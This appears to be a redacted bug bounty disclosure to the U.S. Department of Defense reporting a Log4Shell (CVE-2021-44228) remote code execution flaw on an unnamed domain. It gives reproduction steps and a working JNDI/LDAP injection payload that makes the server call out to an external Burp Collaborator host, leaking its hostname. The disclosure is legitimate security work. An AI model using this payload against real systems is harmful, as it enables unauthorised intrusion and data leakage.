U.S. Dept Of Defense: Log4Shell: RCE 0-day exploit on █████████

Hi team,
log4 shell is recent 0-day exploit it’s Java package vulnerable. ██████████ domain is vulnerable

Impact

RCE

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-44228

Steps to Reproduce

1. Go to this url => https://███████/██████=%24{jndi%3Aldap%3A%2F%2Fx%24{hostName}.LOG45200SSRF.xxxxxx.burpcollaborator.net%2Fa}
2. paste the poc code on ██████ url parameter
3. like this => https://██████████/██████
4. then burp collaborator received reverse ping back
5. I attached poc videos and photos below

##POC CODE
${jndi:ldap://x${hostName}.log4j.xxxxxxx.burpcollaborator.net/a}

Suggested Mitigation/Remediation Actions

https://www.lunasec.io/docs/blog/log4j-zero-day/